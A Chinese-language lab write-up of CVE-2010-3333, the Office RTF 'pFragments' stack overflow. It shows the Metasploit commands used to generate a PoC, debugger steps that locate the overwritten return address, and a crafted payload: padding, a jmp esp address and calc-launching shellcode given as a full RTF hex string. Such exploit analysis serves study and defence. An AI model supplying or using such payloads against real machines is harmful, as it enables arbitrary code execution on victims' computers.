cve-2010-3333
一、 漏洞描述:漏洞描述:Microsoft Office XP SP3,Office 2003 SP3,Office 2007 SP2,Office 2010等多个版本的Office软件中的Open XML文件格式转换器存在栈溢出漏洞,主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致远程攻击者可以借助特制的RTF数据执行任意代码,因此又称之为“RTF栈缓冲区溢出漏洞”。
二、 分析环境:
| 环境 | |
| 操作系统 |
Windows xp sp3 |
| 调试器 | windbg、od |
| 漏洞软件 | Microsoft office word |
| 漏洞组件 | mso.dll |
三、 简单利用过程:
·1 首先在kali上使用msfconsole工具生成漏洞poc

search cve-2010-3333
use 0 //或者
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set target 6
run

生成了漏洞poc文件msf.rtf
2.进入winxp打开windbg和word(漏洞软件)。
在windbg中attach一个这个word进程

之后输入g继续运行

将刚才从kali中生成的poc文件复制到winxp中并打开

code c0000005表示有栈溢出
可以看到实在30ed14eb这个指令时出的问题
3.打开od进行动态调试
依旧选择word进程

ctrl+G 搜索这个地址并打断点
按f9继续运行

打开这个poc文件
命令汇编代码

可以看到这个汇编的意思是将ds:[esi]中的内容放到es:[edi]所指的内存当中去
寄存器的状态

可以看到此时的es=0,edi=0x00123dc0。所以es:[edi]所指向的地址就是0x00123dc0;
栈空间:

可以看到这个地址就在栈中,并且离返回地址只有20个字节。
我们继续运行

可以看到此时0x00123dc0这个地址和返回地址已经被覆盖
所以我们可以构造payload
首先要找到一个jmp esp,这里使用0x7344745d
还有就是ret 14h执行之后会将esp+4+14h//要平衡弹出的14h个字节
所以payload="A"*0x14 +jmp_esp_addr+"a"*0x14"+shellcode(弹出计算器)
最后将msf.rtf修改如下
860000000000000000000000000000000000000000005d744473000000000000000000000000000000000000000031c9516863616c6354b8ad23867cffd0b8faca817cffd0

最后在word中打开修改过后的 msf文件,弹出计算器


浙公网安备 33010602011771号